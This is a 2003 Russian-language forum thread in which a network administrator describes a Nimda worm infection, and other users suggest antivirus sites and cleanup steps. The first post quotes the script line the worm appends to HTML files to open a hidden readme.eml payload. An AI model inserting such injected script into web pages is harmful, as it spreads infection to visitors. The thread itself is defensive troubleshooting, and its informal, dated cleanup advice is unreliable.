Форум сетевых администраторов

Форум сетевых администраторов » Компьютерные сети » Локальные и глобальные сети » Help! Virus...

Автор

Тема

Falcon
Модератор

Средний рейтинг: 3.89 | Оценок: 9
/нажмите чтобы посмотреть кто оценивал/

Help! Virus...

[сообщение #31545]

Поймал я где-то вирус... Norton его обозвал как W32.Nimda.E@mm (и некоторые модификации). Действие, насколько я пока увидел, заключается в следующем:

1) в найденные html-ки на компе в конец дописывает строчку

quote:
<html><script language="JavaScript">window.open("readme.eml", null, "resizable=no,top=6000,left=6000")</script></html>

2) в этой же папке с html-ей появляется двухмеговый скрытый readme.eml
3) постоянно ставит в настройках папки, чтобы не показывались разрешения, скрытые файлы (винда 2k)
4) после ребута расшаривает сидюки (обычные харды не трогает)

Наверняка делает что-то еще, но я не заметил...

Никто не встречал такой шняги? Если да, то что можно с этим сделать и чего еще можно ждать? В этом readme.eml какая-то фигня написана, большая часть текста - просто автозаполнение (АААААААААА... на 2 мега)... Я сегодня у себя таких 400 штук нашел - а то все гадал, куда место улетучивается...

Сообщить модератору об этом сообщении | Предупреждение | IP: определен

20-01-2003 21:24

nanut
Участник+

Средний рейтинг: 4.18 | Оценок: 11
/нажмите чтобы посмотреть кто оценивал/

[сообщение #31566]

здесь почитать не пробовали =www.viruslist.com
+ еще здесь прогуляться =www.yandex.ru/yandsearch?rpt=rad&text=W32.Nimda.E

Сообщить модератору об этом сообщении | Предупреждение | IP: определен

21-01-2003 05:21

NitrogeN
Участник+

Средний рейтинг: 2.5 | Оценок: 4
/нажмите чтобы посмотреть кто оценивал/

[сообщение #31568]

[Совет дня =)

ЛЕЧИТЕСЬ!

Оптимальный вариант бутнуться с другого винта и лечить зараженный. Так как иногда "самолечение" (т.е. лечение с больного винта) не спасает.

Желаю удачи в борьбе с этой гадостью!

__________________
Прицел, это то же чья-то точка зрения

Сообщить модератору об этом сообщении | Предупреждение | IP: определен

21-01-2003 07:15

Отправить Персональное сообщение NitrogeN

Falcon
Модератор

[сообщение #31620]

спасибо, вроде помогло... правда, сидюки шарятся и скрытые файлы постоянно скрываются (как и расширения)... бум лечить

Сообщить модератору об этом сообщении | Предупреждение | IP: определен

21-01-2003 14:16

Booch
Участник

[сообщение #34795]

леченье есть.
каспеский его не видит. Он тебе по мылу пришел да? безобидная гадость ...
этот вирус и у меня был, если его с другой стороны прочитать то получиться "админ"
так вот на касперском сайте, там вобщем написано как его лечить я щас не помню

__________________
No pasaram!

Сообщить модератору об этом сообщении | Предупреждение | IP: определен

18-02-2003 19:36

MagosTek
==-<--if-->-==
Средний рейтинг: 3 | Оценок: 2

[сообщение #36678]

takyy gadost i videl cherez ms-dos schistil... tam naxoditsia v recycle bin i chistish ..obnavliai dannie s nortona i zanovo scan ..cherez safe mode .. a tak I predpochitay F-secure ..klasnaia vesh ...

__________________
..:<------nothing is real------>:..

Сообщить модератору об этом сообщении | Предупреждение | IP: определен

05-03-2003 20:17

Отправить Персональное сообщение MagosTek

Формат времени GMT. Текущее время 00:56.

[

Печать |

Отправить |

Подписка ]

Навигация по форуму:

Оценка темы:

Правила форума:

Вы не можете создавать новые темы.
Вы не можете отвечать на существующие темы.
Вы не можете прикреплять файлы.
Вы не можете редактировать свои сообщения.

HTML теги выкл.
Спец. код вкл.
Смайлики вкл.
[IMG] тег выкл.

Page generated in 0.01780200 seconds (23.88% PHP - 76.12% MySQL) with 23 queries.